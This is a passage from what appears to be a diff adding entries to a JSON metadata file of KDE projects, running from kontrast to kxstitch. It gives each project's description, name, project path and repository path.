"Tool to check contrast for colors that allows verifying that your colors are correctly accessible", + "name": "kontrast", + "project_path": "kde/kdeaccessibility/kontrast", + "repo_path": "accessibility/kontrast" + }, + "konversation": { + "description": "User-friendly and fully-featured IRC client", + "name": "konversation", + "project_path": "kde/kdenetwork/konversation", + "repo_path": "network/konversation" + }, + "kooka": { + "description": "Scanning application and libkscan library", + "name": "kooka", + "project_path": "playground/graphics/kooka", + "repo_path": "graphics/kooka" + }, + "kookbook": { + "description": "Cookbook creator", + "name": "kookbook", + "project_path": "playground/base/kookbook", + "repo_path": "utilities/kookbook" + }, + "kopeninghours": { + "description": "Library for parsing and evaluating OSM opening hours expressions.", + "name": "kopeninghours", + "project_path": "kde/pim/kopeninghours", + "repo_path": "libraries/kopeninghours" + }, + "kopete": { + "description": "Flexible multi-protocol instant messenger for personal and enterprise use", + "name": "kopete", + "project_path": "kde/kdenetwork/kopete", + "repo_path": "network/kopete" + }, + "kopete-pimpresence": { + "description": "PIM Presence Plugin for Kopete", + "name": "kopete-pimpresence", + "project_path": "playground/network/kopete-pimpresence", + "repo_path": "unmaintained/kopete-pimpresence" + }, + "kopete-protocol-telepathy": { + "description": "Kopete protocol plugin for Telepathy. This provides the ability to add accounts using any Telepathy-supported protocol to Kopete.", + "name": "kopete-protocol-telepathy", + "project_path": "unmaintained/kopete-protocol-telepathy", + "repo_path": "unmaintained/kopete-protocol-telepathy" + }, + "kopete-scripting": { + "description": "Scripting Plugin for Kopete", + "name": "kopete-scripting", + "project_path": "unmaintained/kopete-scripting", + "repo_path": "unmaintained/kopete-scripting" + }, + "kopete-sharemydesktop": { + "description": "Share My Desktop Plugin for Kopete", + "name": "kopete-sharemydesktop", + "project_path": "unmaintained/kopete-sharemydesktop", + "repo_path": "unmaintained/kopete-sharemydesktop" + }, + "kopete-smpppdcs": { + "description": "Smpppdcs Plugin for Kopete", + "name": "kopete-smpppdcs", + "project_path": "unmaintained/kopete-smpppdcs", + "repo_path": "unmaintained/kopete-smpppdcs" + }, + "kopete-thinklight": { + "description": "ThinkLight Plugin for Kopete", + "name": "kopete-thinklight", + "project_path": "unmaintained/kopete-thinklight", + "repo_path": "unmaintained/kopete-thinklight" + }, + "kopete-whiteboard": { + "description": "Whiteboard Plugin for Kopete", + "name": "kopete-whiteboard", + "project_path": "unmaintained/kopete-whiteboard", + "repo_path": "unmaintained/kopete-whiteboard" + }, + "kor": { + "description": "Kor is a simple desktop shell leveraging KDE technologies.", + "name": "kor", + "project_path": "unmaintained/kor", + "repo_path": "unmaintained/kor" + }, + "korganizer": { + "description": "Organizational assistant, providing calendars and other similar functionality", + "name": "korganizer", + "project_path": "kde/pim/korganizer", + "repo_path": "pim/korganizer" + }, + "korundum": { + "description": "Ruby bindings for libraries created by the KDE community.", + "name": "korundum", + "project_path": "kde/kdebindings/ruby/korundum", + "repo_path": "unmaintained/korundum" + }, + "kosmindoormap": { + "description": "OSM multi-floor indoor map renderer", + "name": "kosmindoormap", + "project_path": "kde/pim/kosmindoormap", + "repo_path": "libraries/kosmindoormap" + }, + "kpackage": { + "description": "This framework lets applications to manage user installable packages of non-binary assets", + "name": "kpackage", + "project_path": "frameworks/kpackage", + "repo_path": "frameworks/kpackage" + }, + "kparts": { + "description": "KParts", + "name": "kparts", + "project_path": "frameworks/kparts", + "repo_path": "frameworks/kparts" + }, + "kpaste": { + "description": "command-line tool to paste to https://paste.kde.org", + "name": "kpaste", + "project_path": "playground/utils/kpaste", + "repo_path": "unmaintained/kpaste" + }, + "kpat": { + "description": "KPatience offers a selection of solitaire card games", + "name": "kpat", + "project_path": "kde/kdegames/kpat", + "repo_path": "games/kpat" + }, + "kpeg": { + "description": "Peg Solitaire Game by KDE.", + "name": "kpeg", + "project_path": "unmaintained/kpeg", + "repo_path": "unmaintained/kpeg" + }, + "kpeople": { + "description": "A library that provides access to all contacts and the people who hold them", + "name": "kpeople", + "project_path": "frameworks/kpeople", + "repo_path": "frameworks/kpeople" + }, + "kpeoplesink": { + "description": "Expose Sink contacts to KPeople", + "name": "kpeoplesink", + "project_path": "playground/pim/kpeoplesink", + "repo_path": "pim/kpeoplesink" + }, + "kpeoplevcard": { + "description": "Expose VCard contacts to KPeople", + "name": "kpeoplevcard", + "project_path": "kdereview/kpeoplevcard", + "repo_path": "pim/kpeoplevcard" + }, + "kphotoalbum": { + "description": "Photo Album for easy organization of your images", + "name": "kphotoalbum", + "project_path": "extragear/graphics/kphotoalbum", + "repo_path": "graphics/kphotoalbum" + }, + "kpimtextedit": { + "description": "Library that provides extended text editor for PIM applications", + "name": "kpimtextedit", + "project_path": "kde/pim/kpimtextedit", + "repo_path": "pim/kpimtextedit" + }, + "kpipewire": { + "description": "Components relating to Flatpak 'pipewire' use in Plasma.", + "name": "kpipewire", + "project_path": "kde/workspace/kpipewire", + "repo_path": "plasma/kpipewire" + }, + "kpkpass": { + "description": "Apple Wallet Pass reader", + "name": "kpkpass", + "project_path": "kde/pim/kpkpass", + "repo_path": "pim/kpkpass" + }, + "kplayer": { + "description": "KPlayer is a rich multimedia player that uses the mplayer backend.", + "name": "kplayer", + "project_path": "unmaintained/kplayer", + "repo_path": "unmaintained/kplayer" + }, + "kplotting": { + "description": "KPlotting", + "name": "kplotting", + "project_path": "frameworks/kplotting", + "repo_path": "frameworks/kplotting" + }, + "kpmcore": { + "description": "KDE Partition Manager core library", + "name": "kpmcore", + "project_path": "kde/kdeadmin/kpmcore", + "repo_path": "system/kpmcore" + }, + "kppp": { + "description": "Dialer and Front end for pppd", + "name": "kppp", + "project_path": "unmaintained/kppp", + "repo_path": "unmaintained/kppp" + }, + "kprinter4": { + "description": "Simple stand-alone PostScript document printer", + "name": "kprinter4", + "project_path": "unmaintained/kprinter4", + "repo_path": "unmaintained/kprinter4" + }, + "kproperty": { + "description": "Property editing framework with an editor widget similar to Qt Designer", + "name": "kproperty", + "project_path": "extragear/libs/kproperty", + "repo_path": "libraries/kproperty" + }, + "kpty": { + "description": "KPty", + "name": "kpty", + "project_path": "frameworks/kpty", + "repo_path": "frameworks/kpty" + }, + "kpublictransport": { + "description": "Library to assist with accessing public transport timetables and other data", + "name": "kpublictransport", + "project_path": "kde/pim/kpublictransport", + "repo_path": "libraries/kpublictransport" + }, + "kqtquickcharts": { + "description": "QtQuick plugin to render beautiful and interactive charts", + "name": "kqtquickcharts", + "project_path": "kde/kdeedu/kqtquickcharts", + "repo_path": "libraries/kqtquickcharts" + }, + "kquickcharts": { + "description": "A QtQuick plugin providing high-performance charts.", + "name": "kquickcharts", + "project_path": "frameworks/kquickcharts", + "repo_path": "frameworks/kquickcharts" + }, + "kquickchatcomponents": { + "description": "Set of chat components for QtQuick chat apps wishing to fit in with KDE's collection of chat apps", + "name": "kquickchatcomponents", + "project_path": "kdereview/kquickchatcomponents", + "repo_path": "libraries/kquickchatcomponents" + }, + "kquickimageeditor": { + "description": "Image editing components", + "name": "kquickimageeditor", + "project_path": "extragear/libs/kquickimageeditor", + "repo_path": "libraries/kquickimageeditor" + }, + "kquickitemviews": { + "description": "Qt Model compatibility layer for QML", + "name": "kquickitemviews", + "project_path": "playground/libs/kquickitemviews", + "repo_path": "libraries/kquickitemviews" + }, + "krdc": { + "description": "Remote Desktop Client", + "name": "krdc", + "project_path": "kde/kdenetwork/krdc", + "repo_path": "network/krdc" + }, + "krdp": { + "description": "Library and examples for creating an RDP server.", + "name": "krdp", + "project_path": "playground/libs/krdp", + "repo_path": "plasma/krdp" + }, + "krecipes": { + "description": "KDE cooking recipes manager", + "name": "krecipes", + "project_path": "unmaintained/krecipes", + "repo_path": "unmaintained/krecipes" + }, + "krecorder": { + "description": "Audio recorder for Plasma Mobile and other platforms", + "name": "krecorder", + "project_path": "extragear/utils/krecorder", + "repo_path": "utilities/krecorder" + }, + "kreenshot-editor": { + "description": "Kreenshot Editor is a screenshot image editing application and shared library.", + "name": "kreenshot-editor", + "project_path": "playground/graphics/kreenshot-editor", + "repo_path": "unmaintained/kreenshot-editor" + }, + "kregexpeditor": { + "description": "GUI for creating and editing regular expressions", + "name": "kregexpeditor", + "project_path": "playground/utils/kregexpeditor", + "repo_path": "utilities/kregexpeditor" + }, + "kremotecontrol": { + "description": "KRemoteControl (formerly known as KDELirc) is a KDE frontend for your remote controls.", + "name": "kremotecontrol", + "project_path": "unmaintained/kremotecontrol", + "repo_path": "unmaintained/kremotecontrol" + }, + "krename": { + "description": "Utility to handle specialized file renames", + "name": "krename", + "project_path": "extragear/utils/krename", + "repo_path": "utilities/krename" + }, + "kreport": { + "description": "Framework for creation and generation of reports in multiple formats", + "name": "kreport", + "project_path": "extragear/libs/kreport", + "repo_path": "libraries/kreport" + }, + "kreversi": { + "description": "KReversi is is a simple one player strategy game played against the computer", + "name": "kreversi", + "project_path": "kde/kdegames/kreversi", + "repo_path": "games/kreversi" + }, + "krfb": { + "description": "Desktop Sharing", + "name": "krfb", + "project_path": "kde/kdenetwork/krfb", + "repo_path": "network/krfb" + }, + "krita": { + "description": "Krita is a free and open source cross-platform application that offers an end-to-end solution for creating digital art files from scratch built on the KDE and Qt frameworks.", + "name": "krita", + "project_path": "extragear/graphics/krita", + "repo_path": "graphics/krita" + }, + "krita-analogies": { + "description": "Filter that tries to restyle an image using comparison with other images.", + "name": "krita-analogies", + "project_path": "extragear/graphics/krita-extensions/krita-analogies", + "repo_path": "unmaintained/krita-analogies" + }, + "krita-cimg": { + "description": "Extension based on the cimg library. http://cimg.sourceforge.net/", + "name": "krita-cimg", + "project_path": "extragear/graphics/krita-extensions/krita-cimg", + "repo_path": "unmaintained/krita-cimg" + }, + "krita-ctlbrush": { + "description": "Brush written using the Color Transformation Language.", + "name": "krita-ctlbrush", + "project_path": "extragear/graphics/krita-extensions/krita-ctlbrush", + "repo_path": "unmaintained/krita-ctlbrush" + }, + "krita-deskew": { + "description": "Deskew rotates an image such that text is straight, which is useful when dealing with scanned images.", + "name": "krita-deskew", + "project_path": "extragear/graphics/krita-extensions/krita-deskew", + "repo_path": "unmaintained/krita-deskew" + }, + "krita-dither": { + "description": "A dithering plugin for Krita.", + "name": "krita-dither", + "project_path": "extragear/graphics/krita-extensions/krita-dither", + "repo_path": "unmaintained/krita-dither" + }, + "krita-grayscalizer": { + "description": "Simulate the use of \u201clens filter\u201d for creating grayscale images.", + "name": "krita-grayscalizer", + "project_path": "extragear/graphics/krita-extensions/krita-grayscalizer", + "repo_path": "unmaintained/krita-grayscalizer" + }, + "krita-humanbody": { + "description": "Canvas decoration that display the outline of a human to help choosing the pose when drawing.", + "name": "krita-humanbody", + "project_path": "extragear/graphics/krita-extensions/krita-humanbody", + "repo_path": "unmaintained/krita-humanbody" + }, + "krita-imagecomplete": { + "description": "ImageComplete fills in holes in your image with the gradient of the surround", + "name": "krita-imagecomplete", + "project_path": "extragear/graphics/krita-extensions/krita-imagecomplete", + "repo_path": "unmaintained/krita-imagecomplete" + }, + "krita-linesampler": { + "description": "LineSampler \u201csamples\u201d the image with randomly placed lines.", + "name": "krita-linesampler", + "project_path": "extragear/graphics/krita-extensions/krita-linesampler", + "repo_path": "unmaintained/krita-linesampler" + }, + "krita-pyramidalsharpening": { + "description": "Use a pyramid to reconstruct a sharper image.", + "name": "krita-pyramidalsharpening", + "project_path": "extragear/graphics/krita-extensions/krita-pyramidalsharpening", + "repo_path": "unmaintained/krita-pyramidalsharpening" + }, + "krono": { + "description": "Desktop History Viewer", + "name": "krono", + "project_path": "unmaintained/krono", + "repo_path": "unmaintained/krono" + }, + "kronometer": { + "description": "Stopwatch application by KDE", + "name": "kronometer", + "project_path": "extragear/utils/kronometer", + "repo_path": "utilities/kronometer" + }, + "kross": { + "description": "Kross", + "name": "kross", + "project_path": "frameworks/kross", + "repo_path": "frameworks/kross" + }, + "kross-interpreters": { + "description": "Language interpreters to enable in-process scripting with Kross", + "name": "kross-interpreters", + "project_path": "kde/kdebindings/kross-interpreters", + "repo_path": "libraries/kross-interpreters" + }, + "kruler": { + "description": "A pixel measuring tool by KDE", + "name": "kruler", + "project_path": "kde/kdegraphics/kruler", + "repo_path": "graphics/kruler" + }, + "krunner": { + "description": "Framework for providing different actions given a string query.", + "name": "krunner", + "project_path": "frameworks/krunner", + "repo_path": "frameworks/krunner" + }, + "krusader": { + "description": "Advanced twin panel (commander style) file manager", + "name": "krusader", + "project_path": "extragear/utils/krusader", + "repo_path": "utilities/krusader" + }, + "ksanecore": { + "description": "Library providing logic to interface scanners", + "name": "ksanecore", + "project_path": "libraries/ksanecore", + "repo_path": "libraries/ksanecore" + }, + "ksaneplugin": { + "description": "This is a KScan plugin that implements the scanning through libksane", + "name": "ksaneplugin", + "project_path": "unmaintained/ksaneplugin", + "repo_path": "unmaintained/ksaneplugin" + }, + "ksaolaji": { + "description": "Cleans all sorts of waste things in your system.", + "name": "ksaolaji", + "project_path": "unmaintained/ksaolaji", + "repo_path": "unmaintained/ksaolaji" + }, + "kscd": { + "description": "CD player by KDE", + "name": "kscd", + "project_path": "playground/multimedia/kscd", + "repo_path": "multimedia/kscd" + }, + "kscreen": { + "description": "KDE's screen management software", + "name": "kscreen", + "project_path": "kde/workspace/kscreen", + "repo_path": "plasma/kscreen" + }, + "kscreenlocker": { + "description": "Library and components for secure lock screen architecture", + "name": "kscreenlocker", + "project_path": "kde/workspace/kscreenlocker", + "repo_path": "plasma/kscreenlocker" + }, + "ksecrets": { + "description": "Secrets management infrastructure", + "name": "ksecrets", + "project_path": "playground/utils/ksecrets", + "repo_path": "utilities/ksecrets" + }, + "kseexpr": { + "description": "The embeddable expression engine fork for Krita", + "name": "kseexpr", + "project_path": "kdereview/kseexpr", + "repo_path": "graphics/kseexpr" + }, + "kservice": { + "description": "KService", + "name": "kservice", + "project_path": "frameworks/kservice", + "repo_path": "frameworks/kservice" + }, + "kshim": { + "description": "Create a shim to help run your project", + "name": "kshim", + "project_path": "playground/sdk/kshim", + "repo_path": "sdk/kshim" + }, + "kshisen": { + "description": "Shisen-Sho is a solitaire-like game played using the standard set of Mahjong tiles", + "name": "kshisen", + "project_path": "kde/kdegames/kshisen", + "repo_path": "games/kshisen" + }, + "ksirk": { + "description": "KsirK is a computerized version of a well known strategy game", + "name": "ksirk", + "project_path": "kde/kdegames/ksirk", + "repo_path": "games/ksirk" + }, + "ksmtp": { + "description": "Job-based library to send email through an SMTP server", + "name": "ksmtp", + "project_path": "kde/pim/ksmtp", + "repo_path": "pim/ksmtp" + }, + "ksnakeduel": { + "description": "KSnakeDuel is a simple snake duel game", + "name": "ksnakeduel", + "project_path": "kde/kdegames/ksnakeduel", + "repo_path": "games/ksnakeduel" + }, + "ksnapshot": { + "description": "A handy utility primarily designed for taking screenshots\n\nGet KIPI plugins for \"more features\":https://www.elpauer.org/?p=509", + "name": "ksnapshot", + "project_path": "unmaintained/ksnapshot", + "repo_path": "unmaintained/ksnapshot" + }, + "kspaceduel": { + "description": "KSpaceDuel: each of two possible players controls a satellite spaceship orbiting the sun", + "name": "kspaceduel", + "project_path": "kde/kdegames/kspaceduel", + "repo_path": "games/kspaceduel" + }, + "ksquares": { + "description": "KSquares is modeled after the well known pen and paper based game of Dots and Boxes", + "name": "ksquares", + "project_path": "kde/kdegames/ksquares", + "repo_path": "games/ksquares" + }, + "ksshaskpass": { + "description": "ssh-add helper that uses KWallet and KPasswordDialog", + "name": "ksshaskpass", + "project_path": "kde/workspace/ksshaskpass", + "repo_path": "plasma/ksshaskpass" + }, + "kst-plot": { + "description": "Fast real-time plotting program with light data analysis capabilities", + "name": "kst-plot", + "project_path": "extragear/graphics/kst-plot", + "repo_path": "graphics/kst-plot" + }, + "kstars": { + "description": "Desktop Planetarium", + "name": "kstars", + "project_path": "extragear/edu/kstars", + "repo_path": "education/kstars" + }, + "kstatusnotifieritem": { + "description": "Implementation of Status Notifier Items", + "name": "kstatusnotifieritem", + "project_path": "frameworks/kstatusnotifieritem", + "repo_path": "frameworks/kstatusnotifieritem" + }, + "ksudoku": { + "description": "KSudoku is a logic-based symbol placement puzzle", + "name": "ksudoku", + "project_path": "kde/kdegames/ksudoku", + "repo_path": "games/ksudoku" + }, + "ksvg": { + "description": "Components for handling SVGs", + "name": "ksvg", + "project_path": "frameworks/ksvg", + "repo_path": "frameworks/ksvg" + }, + "ksysguard": { + "description": "Resource usage monitor for your computer", + "name": "ksysguard", + "project_path": "kde/workspace/ksysguard", + "repo_path": "plasma/ksysguard" + }, + "ksystemlog": { + "description": "KDE SystemLog Application", + "name": "ksystemlog", + "project_path": "kde/kdeadmin/ksystemlog", + "repo_path": "system/ksystemlog" + }, + "ksystemstats": { + "description": "A plugin based system monitoring daemon.", + "name": "ksystemstats", + "project_path": "kde/workspace/ksystemstats", + "repo_path": "plasma/ksystemstats" + }, + "kte-collaborative": { + "description": "KTextEditor plugin which allows to edit text documents collaboratively", + "name": "kte-collaborative", + "project_path": "playground/network/kte-collaborative", + "repo_path": "network/kte-collaborative" + }, + "kteatime": { + "description": "Handy timer for steeping tea", + "name": "kteatime", + "project_path": "kde/kdeutils/kteatime", + "repo_path": "utilities/kteatime" + }, + "ktechlab": { + "description": "IDE for microcontrollers and electronics", + "name": "ktechlab", + "project_path": "playground/devtools/ktechlab", + "repo_path": "sdk/ktechlab" + }, + "ktextaddons": { + "description": "Various text handling addons", + "name": "ktextaddons", + "project_path": "playground/libs/ktextaddons", + "repo_path": "libraries/ktextaddons" + }, + "ktexteditor": { + "description": "KTextEditor Framework", + "name": "ktexteditor", + "project_path": "frameworks/ktexteditor", + "repo_path": "frameworks/ktexteditor" + }, + "ktexteditorpreviewplugin": { + "description": "Plugin for previewing content using the KTextEditor Framework", + "name": "ktexteditorpreviewplugin", + "project_path": "unmaintained/ktexteditorpreviewplugin", + "repo_path": "unmaintained/ktexteditorpreviewplugin" + }, + "ktexttemplate": { + "description": "Library to allow application developers to separate the structure of documents from the data they contain.", + "name": "ktexttemplate", + "project_path": "frameworks/ktexttemplate", + "repo_path": "frameworks/ktexttemplate" + }, + "ktextwidgets": { + "description": "KTextWidgets", + "name": "ktextwidgets", + "project_path": "frameworks/ktextwidgets", + "repo_path": "frameworks/ktextwidgets" + }, + "ktimer": { + "description": "Little tool to execute programs after some time", + "name": "ktimer", + "project_path": "kde/kdeutils/ktimer", + "repo_path": "utilities/ktimer" + }, + "ktimetracker": { + "description": "Todo management and time tracker", + "name": "ktimetracker", + "project_path": "extragear/pim/ktimetracker", + "repo_path": "pim/ktimetracker" + }, + "ktnef": { + "description": "Libraries to work with TNEF Email Attachments", + "name": "ktnef", + "project_path": "kde/pim/ktnef", + "repo_path": "pim/ktnef" + }, + "ktorrent": { + "description": "Powerful BitTorrent client", + "name": "ktorrent", + "project_path": "kde/kdenetwork/ktorrent", + "repo_path": "network/ktorrent" + }, + "ktouch": { + "description": "Touch Typing Tutor", + "name": "ktouch", + "project_path": "kde/kdeedu/ktouch", + "repo_path": "education/ktouch" + }, + "ktp-accounts-kcm": { + "description": "KCM for configuring Telepathy Instant Messaging Accounts", + "name": "ktp-accounts-kcm", + "project_path": "kde/kdenetwork/ktp-accounts-kcm", + "repo_path": "network/ktp-accounts-kcm" + }, + "ktp-active": { + "description": "Plasma Active Client for KDE Telepathy", + "name": "ktp-active", + "project_path": "unmaintained/ktp-active", + "repo_path": "unmaintained/ktp-active" + }, + "ktp-approver": { + "description": "KDE channel approver for Telepathy", + "name": "ktp-approver", + "project_path": "kde/kdenetwork/ktp-approver", + "repo_path": "network/ktp-approver" + }, + "ktp-auth-handler": { + "description": "UI/KWallet integration for passwords and SSL errors on account connection", + "name": "ktp-auth-handler", + "project_path": "kde/kdenetwork/ktp-auth-handler", + "repo_path": "network/ktp-auth-handler" + }, + "ktp-call-ui": { + "description": "Voice/video call UI for Telepathy", + "name": "ktp-call-ui", + "project_path": "kde/kdenetwork/ktp-call-ui", + "repo_path": "network/ktp-call-ui" + }, + "ktp-common-internals": { + "description": "Library for KTp", + "name": "ktp-common-internals", + "project_path": "kde/kdenetwork/ktp-common-internals", + "repo_path": "network/ktp-common-internals" + }, + "ktp-contact-list": { + "description": "Telepathy contact list application", + "name": "ktp-contact-list", + "project_path": "kde/kdenetwork/ktp-contact-list", + "repo_path": "network/ktp-contact-list" + }, + "ktp-contact-runner": { + "description": "KRunner plugin for KDE Telepathy", + "name": "ktp-contact-runner", + "project_path": "kde/kdenetwork/ktp-contact-runner", + "repo_path": "network/ktp-contact-runner" + }, + "ktp-desktop-applets": { + "description": "KDE Telepathy applets for the Plasma Desktop", + "name": "ktp-desktop-applets", + "project_path": "kde/kdenetwork/ktp-desktop-applets", + "repo_path": "network/ktp-desktop-applets" + }, + "ktp-filetransfer-handler": { + "description": "Telepathy file transfer handler", + "name": "ktp-filetransfer-handler", + "project_path": "kde/kdenetwork/ktp-filetransfer-handler", + "repo_path": "network/ktp-filetransfer-handler" + }, + "ktp-kde": { + "description": "Telepathy KDE integration library", + "name": "ktp-kde", + "project_path": "unmaintained/ktp-kde", + "repo_path": "unmaintained/ktp-kde" + }, + "ktp-kded-module": { + "description": "KDED module for KDE Telepathy that takes care of system integration", + "name": "ktp-kded-module", + "project_path": "kde/kdenetwork/ktp-kded-module", + "repo_path": "network/ktp-kded-module" + }, + "ktp-kipi-plugin": { + "description": "A Kipi Plugin to send images through telepathy", + "name": "ktp-kipi-plugin", + "project_path": "unmaintained/ktp-kipi-plugin", + "repo_path": "unmaintained/ktp-kipi-plugin" + }, + "ktp-launcher-kded": { + "description": "KDED Module which ensures necessary Telepathy services are running.", + "name": "ktp-launcher-kded", + "project_path": "unmaintained/ktp-launcher-kded", + "repo_path": "unmaintained/ktp-launcher-kded" + }, + "ktp-nepomuk-service": { + "description": "Nepomuk integration service for Telepathy", + "name": "ktp-nepomuk-service", + "project_path": "unmaintained/ktp-nepomuk-service", + "repo_path": "unmaintained/ktp-nepomuk-service" + }, + "ktp-presence-dataengine": { + "description": "Plasma dataengine for managing Telepathy account presence.", + "name": "ktp-presence-dataengine", + "project_path": "unmaintained/ktp-presence-dataengine", + "repo_path": "unmaintained/ktp-presence-dataengine" + }, + "ktp-send-file": { + "description": "File manager plugin to launch a file transfer job with a specified contact", + "name": "ktp-send-file", + "project_path": "kde/kdenetwork/ktp-send-file", + "repo_path": "network/ktp-send-file" + }, + "ktp-ssh-contact": { + "description": "Connect to your contacts using ssh", + "name": "ktp-ssh-contact", + "project_path": "unmaintained/ktp-ssh-contact", + "repo_path": "unmaintained/ktp-ssh-contact" + }, + "ktp-test-tool": { + "description": "A tool for testing out the various components of the KDE Telepathy.\n\nDEPRECATED", + "name": "ktp-test-tool", + "project_path": "unmaintained/ktp-test-tool", + "repo_path": "unmaintained/ktp-test-tool" + }, + "ktp-testlib": { + "description": "Infrastructure library for building unit tests for Telepathy components", + "name": "ktp-testlib", + "project_path": "unmaintained/ktp-testlib", + "repo_path": "unmaintained/ktp-testlib" + }, + "ktp-text-ui": { + "description": "Telepathy handler for text chats", + "name": "ktp-text-ui", + "project_path": "kde/kdenetwork/ktp-text-ui", + "repo_path": "network/ktp-text-ui" + }, + "ktrip": { + "description": "Public Transport Assistance for Mobile Devices", + "name": "ktrip", + "project_path": "extragear/utils/ktrip", + "repo_path": "utilities/ktrip" + }, + "ktuberling": { + "description": "KTuberling is a simple constructor game suitable for children and adults alike", + "name": "ktuberling", + "project_path": "kde/kdegames/ktuberling", + "repo_path": "games/ktuberling" + }, + "kturtle": { + "description": "Educational programming environment that uses TurtleSpeak", + "name": "kturtle", + "project_path": "kde/kdeedu/kturtle", + "repo_path": "education/kturtle" + }, + "ktutorial": { + "description": "A library and an editor for interactive tutorials in KDE applications", + "name": "ktutorial", + "project_path": "unmaintained/ktutorial", + "repo_path": "unmaintained/ktutorial" + }, + "ktux": { + "description": "KTux is a screensaver of outer space, with Tux in a spaceship flying by.", + "name": "ktux", + "project_path": "unmaintained/ktux", + "repo_path": "unmaintained/ktux" + }, + "kube": { + "description": "Modern groupware client based on QtQuick and Sink", + "name": "kube", + "project_path": "playground/pim/kube", + "repo_path": "pim/kube" + }, + "kubeplayer": { + "description": "A multimedia player for different online platforms.", + "name": "kubeplayer", + "project_path": "unmaintained/kubeplayer", + "repo_path": "unmaintained/kubeplayer" + }, + "kubrick": { + "description": "Kubrick is based on the famous Rubik's Cube", + "name": "kubrick", + "project_path": "kde/kdegames/kubrick", + "repo_path": "games/kubrick" + }, + "kubuntu-debug-installer": { + "description": "Program to install debug packages for DrKonqi on Kubuntu", + "name": "kubuntu-debug-installer", + "project_path": "playground/base/kubuntu-debug-installer", + "repo_path": "system/kubuntu-debug-installer" + }, + "kubuntu-driver-kcm": { + "description": "KCM that uses Ubuntu driver management system to install proprietary drivers", + "name": "kubuntu-driver-kcm", + "project_path": "playground/base/kubuntu-driver-kcm", + "repo_path": "system/kubuntu-driver-kcm" + }, + "kubuntu-notification-helper": { + "description": "Daemon that presents various notifications to Kubuntu users", + "name": "kubuntu-notification-helper", + "project_path": "playground/base/kubuntu-notification-helper", + "repo_path": "system/kubuntu-notification-helper" + }, + "kuickshow": { + "description": "A fast and convenient image viewer", + "name": "kuickshow", + "project_path": "playground/graphics/kuickshow", + "repo_path": "graphics/kuickshow" + }, + "kunifiedpush": { + "description": "UnifiedPush client components", + "name": "kunifiedpush", + "project_path": "libraries/kunifiedpush", + "repo_path": "libraries/kunifiedpush" + }, + "kunitconversion": { + "description": "KUnitConversion", + "name": "kunitconversion", + "project_path": "frameworks/kunitconversion", + "repo_path": "frameworks/kunitconversion" + }, + "kup": { + "description": "Backup scheduler for the Plasma desktop", + "name": "kup", + "project_path": "extragear/system/kup", + "repo_path": "system/kup" + }, + "kuser": { + "description": "KDE User Manager", + "name": "kuser", + "project_path": "unmaintained/kuser", + "repo_path": "unmaintained/kuser" + }, + "kuserfeedback": { + "description": "Framework for collecting user feedback for apps via telemetry and surveys", + "name": "kuserfeedback", + "project_path": "frameworks/kuserfeedback", + "repo_path": "frameworks/kuserfeedback" + }, + "kvkbd": { + "description": "A virtual keyboard for Plasma", + "name": "kvkbd", + "project_path": "unmaintained/kvkbd", + "repo_path": "unmaintained/kvkbd" + }, + "kwallet": { + "description": "KWallet: Credential Storage", + "name": "kwallet", + "project_path": "frameworks/kwallet", + "repo_path": "frameworks/kwallet" + }, + "kwallet-pam": { + "description": "PAM Integration with KWallet - Unlock KWallet when you login", + "name": "kwallet-pam", + "project_path": "kde/workspace/kwallet-pam", + "repo_path": "plasma/kwallet-pam" + }, + "kwalletmanager": { + "description": "Tool to manage the passwords on your system", + "name": "kwalletmanager", + "project_path": "kde/kdeutils/kwalletmanager", + "repo_path": "utilities/kwalletmanager" + }, + "kwave": { + "description": "Sound editor by KDE", + "name": "kwave", + "project_path": "kde/kdemultimedia/kwave", + "repo_path": "multimedia/kwave" + }, + "kwayland": { + "description": "KWayland provides a Qt-style Client and Server library wrapper for the Wayland libraries.", + "name": "kwayland", + "project_path": "kde/workspace/kwayland", + "repo_path": "plasma/kwayland" + }, + "kwayland-integration": { + "description": "Integration plugins for various KDE frameworks for the Wayland windowing system", + "name": "kwayland-integration", + "project_path": "kde/workspace/kwayland-integration", + "repo_path": "plasma/kwayland-integration" + }, + "kwayland-server": { + "description": "Wayland Server Components built on KDE Frameworks", + "name": "kwayland-server", + "project_path": "kde/workspace/kwayland-server", + "repo_path": "plasma/kwayland-server" + }, + "kweather": { + "description": "Weather application for Plasma Mobile", + "name": "kweather", + "project_path": "extragear/utils/kweather", + "repo_path": "utilities/kweather" + }, + "kweathercore": { + "description": "Library to facilitate retrieval of weather information including forecasts and alerts", + "name": "kweathercore", + "project_path": "extragear/libs/kweathercore", + "repo_path": "libraries/kweathercore" + }, + "kwebkitpart": { + "description": "WebKit browser component available as KPart", + "name": "kwebkitpart", + "project_path": "extragear/base/kwebkitpart", + "repo_path": "libraries/kwebkitpart" + }, + "kwhiteboard": { + "description": "KWhiteboard is a shared whiteboard application built with Telepathy. It allows you to run a shared whiteboard session with Instant Messaging contacts.", + "name": "kwhiteboard", + "project_path": "unmaintained/kwhiteboard", + "repo_path": "unmaintained/kwhiteboard" + }, + "kwidgetsaddons": { + "description": "KWidgetsAddons", + "name": "kwidgetsaddons", + "project_path": "frameworks/kwidgetsaddons", + "repo_path": "frameworks/kwidgetsaddons" + }, + "kwin": { + "description": "Easy to use, but flexible, X Window Manager and Wayland Compositor", + "name": "kwin", + "project_path": "kde/workspace/kwin", + "repo_path": "plasma/kwin" + }, + "kwindowsaddons": { + "description": "Runtime components for KDE software on Windows", + "name": "kwindowsaddons", + "project_path": "playground/base/kwindowsaddons", + "repo_path": "libraries/kwindowsaddons" + }, + "kwindowsystem": { + "description": "KWindowSystem", + "name": "kwindowsystem", + "project_path": "frameworks/kwindowsystem", + "repo_path": "frameworks/kwindowsystem" + }, + "kwooty": { + "description": "Friendly newsgroup binary downloader for Usenet", + "name": "kwooty", + "project_path": "playground/network/kwooty", + "repo_path": "network/kwooty" + }, + "kwordquiz": { + "description": "Flash Card Trainer", + "name": "kwordquiz", + "project_path": "kde/kdeedu/kwordquiz", + "repo_path": "education/kwordquiz" + }, + "kwrited": { + "description": "Listen to traditional system notifications", + "name": "kwrited", + "project_path": "kde/workspace/kwrited", + "repo_path": "plasma/kwrited" + }, + "kxmlgui": { + "description": "KXMLGUI", + "name": "kxmlgui", + "project_path": "frameworks/kxmlgui", + "repo_path": "frameworks/kxmlgui" + }, + "kxmlrpcclient": { + "description": "KXMLRPCClient - Library to assist working with XML-RPC APIs", + "name": "kxmlrpcclient", + "project_path": "frameworks/kxmlrpcclient", + "repo_path": "frameworks/kxmlrpcclient" + }, + "kxstitch": { + "description": "Cross stitch pattern and chart creation", + "name": "kxstitch", + "project_path": "extragear/graphics/kxstitch", + "repo_path": 